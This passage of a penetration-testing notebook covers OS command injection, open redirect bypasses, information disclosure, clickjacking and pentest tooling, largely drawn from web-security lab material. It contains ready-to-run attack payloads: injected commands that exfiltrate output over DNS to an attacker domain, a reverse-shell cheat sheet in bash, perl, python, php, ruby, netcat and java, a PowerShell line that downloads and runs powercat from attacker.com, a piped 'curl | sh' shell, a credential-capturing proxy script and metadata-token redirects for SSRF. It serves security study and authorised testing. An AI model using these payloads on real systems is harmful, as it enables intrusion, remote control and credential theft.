* feedback function: Modify parameter - email=x||ping+-c+10+127.0.0.1||

Ways of injecting OS commands You can use a number of shell metacharacters to perform OS command injection attacks. A number of characters function as command separators, allowing commands to be chained together. The following command separators work on both Windows and Unix-based systems:

```
&
&&
|
||

The following command separators work only on Unix-based systems:
;
Newline (0x0a or \n)

On Unix-based systems, you can also use backticks or the dollar character to perform inline execution of an injected command within the original command:
`
injected command `

$(
injected command )
```



&#x20;                                       **OS command injection, simple case**\
[https://portswigger.net/web-security/os-command-injection/lab-simple](https://portswigger.net/web-security/os-command-injection/lab-simple)

Useful commands After you identify an OS command injection vulnerability, it's useful to execute some initial commands to obtain information about the system. Below is a summary of some commands that are useful on Linux and Windows platforms:

```
Purpose of command	 Linux	         Windows
Name of current user	whoami	        whoami
Operating system	uname -a	ver
Network configuration	ifconfig	ipconfig /all
Network connections	netstat -an	netstat -an
Running processes	ps -ef	        tasklist
```

&#x20;                                  **Blind OS command injection vulnerabilities**

Many instances of OS command injection are blind vulnerabilities. This means that the application does not return the output from the command within its HTTP response. Blind vulnerabilities can still be exploited, but different techniques are required. As an example, imagine a website that lets users submit feedback about the site. The user enters their email address and feedback message. The server-side application then generates an email to a site administrator containing the feedback. To do this, it calls out to the mail program with the submitted details:

```
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
```

&#x20;                       **Detecting blind OS command injection using time delays**

You can use an injected command to trigger a time delay, enabling you to confirm that the command was executed based on the time that the application takes to respond. The ping command is a good way to do this, because lets you specify the number of ICMP packets to send. This enables you to control the time taken for the command to run. This command causes the application to ping its loopback network adapter for 10 seconds:

```
& ping -c 10 127.0.0.1 &
```

**Blind OS command injection with time delays**\
[https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)



&#x20;                 **Exploiting blind OS command injection by redirecting output**

You can redirect the output from the injected command into a file within the web root that you can then retrieve using the browser. For example, if the application serves static resources from the filesystem location /var/www/static, then you can submit the following input:

```
& whoami > /var/www/static/whoami.txt &
```

The > character sends the output from the whoami command to the specified file. You can then use the browser to fetch https://vulnerable-website.com/whoami.txt to retrieve the file, and view the output from the injected command.

**Blind OS command injection with output redirection**\
[https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)



&#x20;        **Exploiting blind OS command injection using out-of-band (OAST) techniques**

You can use an injected command that will trigger an out-of-band network interaction with a system that you control, using OAST techniques. For example:

```
& nslookup kgji2ohoyw.web-attacker.com &
```

This payload uses the nslookup command to cause a DNS lookup for the specified domain. The attacker can monitor to see if the lookup happens, to confirm if the command was successfully injected.

**Lab: Blind OS command injection with out-of-band interaction**\
[https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)

The out-of-band channel provides an easy way to exfiltrate the output from injected commands:

```
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
```

This causes a DNS lookup to the attacker's domain containing the result of the whoami command:

```
wwwuser.kgji2ohoyw.web-attacker.com
```

**Lab: Blind OS command injection with out-of-band data exfiltration**\
[https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)

\----------------------------------------------------------------------------------------

### &#x20;                                      21. Manual: Path Traversal <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/file-path-traversal" %}



\----------------------------------------------------------------------------------------

### &#x20;                                    22. Manual: Open Redirect <a href="#user-content-manual" id="user-content-manual"></a>

**BURP SUIT:** \
[**https://portswigger.net/web-security/dom-based/open-redirection/lab-dom-open-redirection**](https://portswigger.net/web-security/dom-based/open-redirection/lab-dom-open-redirection)\
[**https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect**\
](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect)

1. Subfinder for subdomains, fuzz for injection parameters
2. Send request to INTRUDER, add payload position to the end of the URL
3. Remember url enconde the payloads!

&#x20;                                                  **Open redirect bypasses**

• Simply try to change the domain Example: \
?redirect=https://example.com --> ?redirect=https://evil.com

• Bypass the filter when protocol is blacklisted using // Example: \
?redirect=https://example.com --> ?redirect=//evil.com

• Bypass the filter when double slash is blacklisted using \ Example: \
?redirect=https://example.com --> ?redirect=levil.com

• Bypass the filter when double slash is blacklisted using http: or https: Example: \
?redirect=https://example.com --> ?redirect=https:example.com

• Bypass the filter using %40 Example: ?redirect=example.com --> \
?redirect=example.com%40evil.com

• Bypass the filter if it only checks for domain name Example: \
?redirect=example.com --> ?redirect=example.comevil.com

• Bypass the filter if it only checks for domain name using a dot %2e Example: \
?redirect=example.com --> ?redirect=example.com%2eevil.com

• Bypass the filter if it only checks for domain name using a query/question mark ? Example: \
?redirect=example.com --> ?redirect=evil.com?example.com

• Bypass the filter if it only checks for domain name using a hash %23 Example: \
?redirect=example.com --> ?redirect=evil.com%23example.com

• Bypass the filter using a symbol Example: ?redirect=example.com --> \
?redirect=example.com/°evil.com

• Bypass the filter using a url encoded Chinese dot %E3%80%82 Example: \
?redirect=example.com --> ?redirect=evil.com%E3%80%82%23example.com

• Bypass the filter if it only allows you to control the path using a nullbyte %0d or %0a Example: ?redirect=/ --> ?redirect=/%0d/evil.com



\----------------------------------------------------------------------------------------

### &#x20;                                  23. Manual: Access control <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://portswigger.net/web-security/access-control" %}



\----------------------------------------------------------------------------------------

### &#x20;                                        24. Manual: Logic flaws <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://portswigger.net/web-security/logic-flaws" %}

Logic flaws are a category of web application vulnerabilities that typically occur when there's a gap in the application's business logic, allowing attackers to exploit unintended behavior. These vulnerabilities are often specific to the application and may not be detected through traditional security scanning. Common vulnerabilities and risks arising from logic flaws include:

1. Insecure Direct Object References (IDOR): Logic flaws can lead to situations where an attacker can directly access, modify, or delete objects, such as files or database records, that they shouldn't have access to.
2. Authentication Bypass: Attackers may exploit flaws in the authentication process to gain unauthorized access to user accounts or administrative functions.
3. Privilege Escalation: Attackers can leverage logic flaws to escalate their privileges within the application, gaining access to features or data intended for other user roles.
4. Race Conditions: Flawed handling of concurrent operations can lead to race conditions, causing unexpected behavior or security vulnerabilities.



1. 2FA BRUTE FORCE
2. FORGOT PASSWORD REST

The discounting functionality of online shops is a classic attack surface when hunting for logic flaws. This can be a potential gold mine for an attacker, with all kinds of basic logic flaws occurring in the way discounts are applied.

```
                    What are business logic vulnerabilities?
```

In this context, the term "business logic" simply refers to the set of rules that define how the application operates. As these rules aren't always directly related to a business, the associated vulnerabilities are also known as "application logic vulnerabilities" or simply "logic flaws".

```
                        How do business logic vulnerabilities arise?
```

Business logic vulnerabilities often arise because the design and development teams make flawed assumptions about how users will interact with the application. These bad assumptions can lead to inadequate validation of user input. For example, if the developers assume that users will pass data exclusively via a web browser, the application may rely entirely on weak client-side controls to validate input. These are easily bypassed by an attacker using an intercepting proxy.

```
                         Excessive trust in client-side controls 
```

Lab: Excessive trust in client-side controls\
[https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-excessive-trust-in-client-side-controls](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-excessive-trust-in-client-side-controls)

Lab: 2FA broken logic\
[https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic)

&#x20;                        **Failing to handle unconventional input**

Lab: High-level logic vulnerability\
[https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-high-level](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-high-level)

Lab: Low-level logic flaw\
[https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-low-level](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-low-level)

Lab: Inconsistent handling of exceptional input\
[https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-handling-of-exceptional-input](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-handling-of-exceptional-input)

&#x20;                        **Making flawed assumptions about user behavior**

Lab: Inconsistent security controls\
[https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-security-controls](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-security-controls)

Lab: Weak isolation on dual-use endpoint\
[https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint)

Lab: Password reset broken logic\
[https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic)

[https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass)

Lab: Flawed enforcement of business rules https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-flawed-enforcement-of-business-rules

Lab: Infinite money logic flaw https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money

Lab: Authentication bypass via encryption oracle https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-encryption-oracle



\----------------------------------------------------------------------------------------

### &#x20;                                    25. Manual: Deserialization <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/deserialization" %}

[https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss)\
\# JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.

[https://github.com/pimps/JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)\
\# This is a forked modified version of the great exploitation tool created by @welk1n ([https://github.com/welk1n/JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit)).&#x20;



\----------------------------------------------------------------------------------------

### &#x20;                                    26. Manual: Info Disclosure <a href="#user-content-manual" id="user-content-manual"></a>

&#x20;                                                        **Files for web crawlers**

Many websites provide files at /robots.txt and /sitemap.xml to help crawlers navigate their site. Among other things, these files often list specific directories that the crawlers should skip, for example, because they may contain sensitive information. As these files are not usually linked from within the website, they may not immediately appear in Burp's site map. However, it is worth trying to navigate to /robots.txt or /sitemap.xml manually to see if you find anything of use.

```
/robots.txt
/sitemap.xml
```

&#x20;                                                               **Directory listings**

Web servers can be configured to automatically list the contents of directories that do not have an index page present. This can aid an attacker by enabling them to quickly identify the resources at a given path, and proceed directly to analyzing and attacking those resources. It particularly increases the exposure of sensitive files within the directory that are not intended to be accessible to users, such as temporary files and crash dumps. Directory listings themselves are not necessarily a security vulnerability. However, if the website also fails to implement proper access control, leaking the existence and location of sensitive resources in this way is clearly an issue.

&#x20;                                                           **Developer comments**

During development, in-line HTML comments are sometimes added to the markup. These comments are typically stripped before changes are deployed to the production environment. However, comments can sometimes be forgotten, missed, or even left in deliberately because someone wasn't fully aware of the security implications. Although these comments are not visible on the rendered page, they can easily be accessed using Burp, or even the browser's built-in developer tools. Occasionally, these comments contain information that is useful to an attacker. For example, they might hint at the existence of hidden directories or provide clues about the application logic.

&#x20;                                                                   **Error messages**

One of the most common causes of information disclosure is verbose error messages. As a general rule, you should pay close attention to all error messages you encounter during auditing. The content of error messages can reveal information about what input or data type is expected from a given parameter. This can help you to narrow down your attack by identifying exploitable parameters. It may even just prevent you from wasting time trying to inject payloads that simply won't work. Verbose error messages can also provide information about different technologies being used by the website. For example, they might explicitly name a template engine, database type, or server that the website is using, along with its version number. This information can be useful because you can easily search for any documented exploits that may exist for this version. Similarly, you can check whether there are any common configuration errors or dangerous default settings that you may be able to exploit. Some of these may be highlighted in the official documentation. You might also discover that the website is using some kind of open-source framework. In this case, you can study the publicly available source code, which is an invaluable resource for constructing your own exploits. Differences between error messages can also reveal different application behavior that is occurring behind the scenes. Observing differences in error messages is a crucial aspect of many techniques, such as SQL injection, username enumeration, and so on.

Information disclosure in error messages\
[https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-error-messages](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-error-messages)

&#x20;                                                             **Debugging data**

For debugging purposes, many websites generate custom error messages and logs that contain large amounts of information about the application's behavior. While this information is useful during development, it is also extremely useful to an attacker if it is leaked in the production environment. Debug messages can sometimes contain vital information for developing an attack, including:

* Values for key session variables that can be manipulated via user input
* Hostnames and credentials for back-end components
* File and directory names on the server
* Keys used to encrypt data transmitted via the client

Debugging information may sometimes be logged in a separate file. If an attacker is able to gain access to this file, it can serve as a useful reference for understanding the application's runtime state. It can also provide several clues as to how they can supply crafted input to manipulate the application state and control the information received.

**Information disclosure on debug page**\
[https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-on-debug-page](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-on-debug-page)

&#x20;                                                         **User account pages**\
By their very nature, a user's profile or account page usually contains sensitive information, such as the user's email address, phone number, API key, and so on. As users normally only have access to their own account page, this does not represent a vulnerability in itself. However, some websites contain logic flaws that potentially allow an attacker to leverage these pages in order to view other users' data. For example, consider a website that determines which user's account page to load based on a user parameter:

GET /user/personal-info?user=carlos

Most websites will take steps to prevent an attacker from simply changing this parameter to access arbitrary users' account pages. However, sometimes the logic for loading individual items of data is not as robust. An attacker may not be able to load another users' account page entirely, but the logic for fetching and rendering the user's registered email address, for example, might not check that the user parameter matches the user that is currently logged in. In this case, simply changing the user parameter would allow an attacker to display arbitrary users' email addresses on their own account page.

&#x20;                                         **Source code disclosure via backup files**

Obtaining source code access makes it much easier for an attacker to understand the application's behavior and construct high-severity attacks. Sensitive data is sometimes even hard-coded within the source code. Typical examples of this include API keys and credentials for accessing back-end components. If you can identify that a particular open-source technology is being used, this provides easy access to a limited amount of source code.

**Source code disclosure via backup files**\
[https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-via-backup-files](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-via-backup-files) &#x20;

&#x20;                        **Information disclosure due to insecure configuration**

Websites are sometimes vulnerable as a result of improper configuration. This is especially common due to the widespread use of third-party technologies, whose vast array of configuration options are not necessarily well-understood by those implementing them.

In other cases, developers might forget to disable various debugging options in the production environment. For example, the HTTP TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the TRACE method by echoing in the response the exact request that was received. This behavior is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.

Authentication bypass via information disclosure\
[https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass)

&#x20;                                                          **Version control history**

Virtually all websites are developed using some form of version control system, such as Git. By default, a Git project stores all of its version control data in a folder called .git. Occasionally, websites expose this directory in the production environment. In this case, you might be able to access it by simply browsing to:

```
/.git

wget -r https://0aa200980411e1b682436a70004c00f1.web-security-academy.net/.git/

cd .git 

https://git-cola.github.io/
```

Information disclosure in version control history\
[https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)



\----------------------------------------------------------------------------------------

### &#x20;                                   Manual: DNS Rebinding <a href="#user-content-manual" id="user-content-manual"></a>

[https://github.com/nccgroup/singularity](https://github.com/nccgroup/singularity)\
\# Singularity of Origin is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.

[https://github.com/brannondorsey/dns-rebind-toolkit](https://github.com/brannondorsey/dns-rebind-toolkit)\
\# DNS Rebind Toolkit is a frontend JavaScript framework for developing DNS Rebinding exploits against vulnerable hosts and services on a local area network (LAN).

[https://github.com/brannondorsey/whonow](https://github.com/brannondorsey/whonow)\
\# A malicious DNS server for executing DNS Rebinding attacks on the fly.

[https://nip.io](https://nip.io/)\
\# Dead simple wildcard DNS for any IP Address

[https://sslip.io](https://sslip.io/)\
\# sslip.io is a DNS (Domain Name System) service that, when queried with a hostname with an embedded IP address, returns that IP Address.

[http://1u.ms/](http://1u.ms/)\
\# This is a small set of zero-configuration DNS utilities for assisting in detection and exploitation of SSRF-related vulnerabilities. It provides easy to use DNS rebinding utility, as well as a way to get resolvable resource records with any given contents.

[https://github.com/Rhynorater/rebindMultiA](https://github.com/Rhynorater/rebindMultiA)\
\# rebindMultiA is a tool to perform a Multiple A Record rebind attack.

\----------------------------------------------------------------------------------------

### &#x20;                                  Manual: SMTP Header Injection <a href="#user-content-manual" id="user-content-manual"></a>

[https://www.acunetix.com/blog/articles/email-header-injection/](https://www.acunetix.com/blog/articles/email-header-injection/)\
\# It is common practice for web pages and web applications to implement contact forms, which in turn send email messages to the intended recipients. Most of the time, such contact forms set headers. These headers are interpreted by the email library on the web server and turned into resulting SMTP commands, which are then processed by the SMTP server.

```
POST /contact.php HTTP/1.1
Host: www.example2.com

name=Best Product\nbcc: everyone@example3.com&replyTo=blame_anna@example.com&message=Buy my product!
```

\----------------------------------------------------------------------------------------

### &#x20;                                             Manual: Web Shell <a href="#user-content-manual" id="user-content-manual"></a>

[https://www.kali.org/tools/webshells/](https://www.kali.org/tools/webshells/)\
\# A collection of webshells for **ASP, ASPX, CFM, JSP, Perl,** and **PHP servers.**

**---------------------------------------------------------------------------------------**

### &#x20;                                           Manual: Reverse Shell <a href="#user-content-manual" id="user-content-manual"></a>

[http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)\
\# If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

\
\# **Bash**

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

\
\# **PERL**

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

\
\# **Python**

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

\
\# **PHP**

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

\
\# **Ruby**

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

\
\# **Netcat**

```
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

\
\# **Java**

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

\
\# **xterm**

```
xterm -display 10.0.0.1:1
Xnest :1
xhost +targetip
```

\
\# **powershell (without download)**

```
echo IEX(New-Object Net.WebClient).DownloadString("http://attacker.com:8442/powercat.ps1") | powershell -noprofile; powercat -c attacker.com -p 8443 -e cmd
```

[https://reverse-shell.sh/](https://reverse-shell.sh/)\
\# Reverse Shell as a Service

```
nc -l 1337
curl https://reverse-shell.sh/yourip:1337 | sh
```

```
https://github.com/calebstewart/pwncat
# pwncat is a post-exploitation platform for Linux targets.
```

\----------------------------------------------------------------------------------------

#### &#x20;                         WebDAV (Web Distributed Authoring and Versioning) <a href="#user-content-webdav-web-distributed-authoring-and-versioning" id="user-content-webdav-web-distributed-authoring-and-versioning"></a>

[http://www.webdav.org/cadaver/](http://www.webdav.org/cadaver/)\
\# cadaver is a command-line WebDAV client for Unix.

[https://github.com/cldrn/davtest](https://github.com/cldrn/davtest)\
\# This program attempts to exploit WebDAV enabled servers.



\----------------------------------------------------------------------------------------

### &#x20;                                      Manual: Clickjacking <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://portswigger.net/web-security/clickjacking#how-to-prevent-clickjacking-attacks" %}

Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website.

How to construct a basic clickjacking attack Clickjacking attacks use CSS to create and manipulate layers. The attacker incorporates the target website as an iframe layer overlaid on the decoy website. An example using the style tag and parameters is as follows:

```
<head>
	<style>
		#target_website {
			position:relative;
			width:128px;
			height:128px;
			opacity:0.00001;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
			width:300px;
			height:400px;
			z-index:1;
			}
	</style>
</head>
...
<body>
	<div id="decoy_website">
	...decoy web content here...
	</div>
	<iframe id="target_website" src="https://vulnerable-website.com">
	</iframe>
</body>
```

The target website iframe is positioned within the browser so that there is a precise overlap of the target action with the decoy website using appropriate width and height position values. Absolute and relative position values are used to ensure that the target website accurately overlaps the decoy regardless of screen size, browser type and platform. The z-index determines the stacking order of the iframe and website layers. The opacity value is defined as 0.0 (or close to 0.0) so that the iframe content is transparent to the user. Browser clickjacking protection might apply threshold-based iframe transparency detection (for example, Chrome version 76 includes this behavior but Firefox does not). The attacker selects opacity values so that the desired effect is achieved without triggering protection behaviors.

**BURP: Manual**&#x20;

Basic clickjacking with CSRF token protection\
[https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected](https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected)

Clickjacking with form input data prefilled from a URL parameter\
[https://portswigger.net/web-security/clickjacking/lab-prefilled-form-input](https://portswigger.net/web-security/clickjacking/lab-prefilled-form-input)

Clickjacking with a frame buster script:\
https://portswigger.net/web-security/clickjacking/lab-frame-buster-script&#x20;

Exploiting clickjacking to trigger DOM-based XSS: \
https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss

\----------------------------------------------------------------------------------------

### &#x20;                                                        General <a href="#user-content-manual" id="user-content-manual"></a>

#### &#x20;                                                                  Generic Tools <a href="#user-content-generic-tools" id="user-content-generic-tools"></a>

[https://ahrefs.com/backlink-checker](https://ahrefs.com/backlink-checker)\
\# Try the free version of Ahrefs' Backlink Checker.

[https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)\
\# The Cyber Swiss Army Knife

[https://github.com/securisec/chepy](https://github.com/securisec/chepy)\
\# Chepy is a python lib/cli equivalent of the awesome CyberChef tool.

[https://packettotal.com/](https://packettotal.com/)\
\# Pcap analysis and samples

[https://github.com/vavkamil/awesome-bugbounty-tools](https://github.com/vavkamil/awesome-bugbounty-tools)\
\# A curated list of various bug bounty tools.

[https://check-host.net/](https://check-host.net/)\
\# Check-Host is a modern online tool for website monitoring and checking availability of hosts, DNS records, IP addresses.

[https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone)\
\# ShadowClone allows you to distribute your long running tasks dynamically across thousands of serverless functions and gives you the results within seconds where it would have taken hours to complete.

[https://github.com/A-poc/RedTeam-Tools](https://github.com/A-poc/RedTeam-Tools)\
\# This github repository contains a collection of 125+ tools and resources that can be useful for red teaming activities.

[https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/index.md](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/index.md)\
\# All Atomic Tests by ATT\&CK Tactic & Technique ([https://atomicredteam.io/atomics/](https://atomicredteam.io/atomics/)).



\
\# Print only response headers for any method with curl

```
curl -skSL -D - https://www.example.com -o /dev/null
```

\
\# Extract website certificate

```
true | openssl s_client -connect www.example.com:443 2>/dev/null | openssl x509 -noout -text
```

\
\# Pure bash multhread script

```
#!/bin/bash

FILE="${1}"
THREADS="${2}"
TIMEOUT="${3}"
CMD="${4}"
NUM=$(wc -l ${FILE} | awk '{ print $1 }')
THREAD=0
NUMDOM=0
while read SUBDOMAIN; do
        PIDSTAT=0
        if [ $THREAD -lt $THREADS ]; then
                eval timeout ${TIMEOUT} ${CMD} 2>/dev/null &
                PIDS[$THREAD]="${!}"
                let THREAD++
                let NUMDOM++
                echo -ne "\r>Progress: ${NUMDOM} of ${NUM} ($(awk "BEGIN {printf \"%0.2f\",(${NUMDOM}*100)/${NUM}}")%)\r"
        else
                while [ ${PIDSTAT} -eq 0 ]; do
                        for j in "${!PIDS[@]}"; do
                                kill -0 "${PIDS[j]}" > /dev/null 2>&1
                                PIDSTAT="${?}"
                                if [ ${PIDSTAT} -ne 0 ]; then
                                        eval timeout ${TIMEOUT} ${CMD} 2>/dev/null &
                                        PIDS[j]="${!}"
                                        let NUMDOM++
                                        echo -ne "\r>Progress: ${NUMDOM} of ${NUM} ($(awk "BEGIN {printf \"%0.2f\",(${NUMDOM}*100)/${NUM}}")%)\r"
                                        break
                                fi
                        done
                done
        fi
done < ${FILE}
wait
```

\
\# Reverse Proxy (mitmproxy)

```
mitmdump --certs ~/cert/cert.pem --listen-port 443 --scripts script.py --set block_global=false --mode reverse:https://example.com/
```

&#x20;\# Good for capture credentials

```
$ cat script.py
import mitmproxy.http
from mitmproxy import ctx

def request(flow):
    if flow.request.method == "POST":
        ctx.log.info(flow.request.get_text())
        f = open("captured.log", "a")
        f.write(flow.request.get_text() + '\n')
        f.close()
```

\
\# Port Forwarding (socat)

```
sudo socat -v TCP-LISTEN:80,fork TCP:127.0.0.1:81
```

\
\# Reverse Proxy (socat)

```
socat -v -d -d TCP-LISTEN:8101,reuseaddr,fork TCP:127.0.0.1:8100
sudo socat -v -d -d openssl-listen:8443,cert=cert.pem,reuseaddr,fork,verify=0 SSL:127.0.0.1:443,verify=0
```

\
\# SOCKS Proxy

```
ssh -N -D 0.0.0.0:1337 localhost
```

[https://github.com/projectdiscovery/proxify/](https://github.com/projectdiscovery/proxify/)\
\# Swiss Army Knife Proxy for rapid deployments. Supports multiple operations such as request/response dump, filtering and manipulation via DSL language, upstream HTTP/Socks5 proxy.

```
proxify -socks5-proxy socks5://127.0.0.1:9050
```

\
\# Fake HTTP Server

```
while true ; do echo -e "HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Length: 2\r\n\r\nOK" | sudo nc -vlp 80; done
socat -v -d -d TCP-LISTEN:80,crlf,reuseaddr,fork 'SYSTEM:/bin/echo "HTTP/1.1 200 OK";/bin/echo "Connection: close";/bin/echo "Content-Length: 2";/bin/echo;/bin/echo "OK"'
socat -v -d -d TCP-LISTEN:80,crlf,reuseaddr,fork 'SYSTEM:/bin/echo "HTTP/1.1 302 Found";/bin/echo "Content-Length: 0";/bin/echo "Location: http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";/bin/echo;/bin/echo'
FILE=image.jpg;socat -v -d -d TCP-LISTEN:80,fork "SYSTEM:/bin/echo 'HTTP/1.1 200 OK';/bin/echo 'Content-Length: '`wc -c<$FILE`;/bin/echo 'Content-Type: image/png';/bin/echo;dd 2>/dev/null<$FILE" # Present an image
python2 -m SimpleHTTPServer 8080
python3 -m http.server 8080
php -S 0.0.0.0:80
ruby -run -e httpd . -p 80
busybox httpd -f -p 80
```

\
\# Fake HTTPS Server

```
openssl req -new -x509 -keyout test.key -out test.crt -nodes
cat test.key test.crt > test.pem
socat -v -d -d openssl-listen:443,crlf,reuseaddr,cert=test.pem,verify=0,fork 'SYSTEM:/bin/echo "HTTP/1.1 200 OK";/bin/echo "Connection: close";/bin/echo "Content-Length: 2";/bin/echo;/bin/echo "OK"'
socat -v -d -d openssl-listen:443,crlf,reuseaddr,cert=web.pem,verify=0,fork 'SYSTEM:/bin/echo "HTTP/1.1 302 Found";/bin/echo "Connection: close";/bin/echo "Content-Length: 0";/bin/echo "Location: http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";/bin/echo;/bin/echo'
stunnel stunnel.conf
```

&#x20;\# Check [https://www.stunnel.org/](https://www.stunnel.org/)

\
\# Python 3 Simple HTTPS Server

```
    import http.server, ssl
    server_address = ('0.0.0.0', 443)
    httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
    httpd.socket = ssl.wrap_socket(httpd.socket, server_side=True, certfile='/path/cert.pem', ssl_version=ssl.PROTOCOL_TLS)
    httpd.serve_forever()
```

\
\# Fake FTP Server

```
python -m pyftpdlib --directory=/tmp/dir/ --port=21
```

\
\# Check HTTP or HTTPS

```
while read i; do curl -m 15 -ki http://$i &> /dev/null; if [ $? -eq 0 ]; then echo $i; fi; done < subdomains.txt
while read i; do curl -m 15 -ki https://$i &> /dev/null; if [ $? -eq 0 ]; then echo $i; fi; done < subdomains.txt
```

\
\# Ten requests in parallel

```
xargs -I % -P 10 curl -H 'Connection: close' -s -D - -o /dev/null https://example.com < <(printf '%s\n' {1..10000})
```

\
\# Access target directly through IP address

```
http://1.2.3.4
https://1.2.3.4
```

\
\# Trim space and newlines on bash variable

```
"${i//[$'\t\r\n ']}"
```

\
Extract paths from swagger.json\
`cat swagger.json | jq -r '.paths | to_entries[] | .key'`

[https://gtfobins.github.io/](https://gtfobins.github.io/)\
\# GTFOBins is a curated list of Unix binaries that can used to bypass local security restrictions in misconfigured systems.

[https://www.guyrutenberg.com/2014/05/02/make-offline-mirror-of-a-site-using-wget/](https://www.guyrutenberg.com/2014/05/02/make-offline-mirror-of-a-site-using-wget/)\
\# Make Offline Mirror of a Site using wget

```
wget -mkEpnp https://www.example.com/
```

\
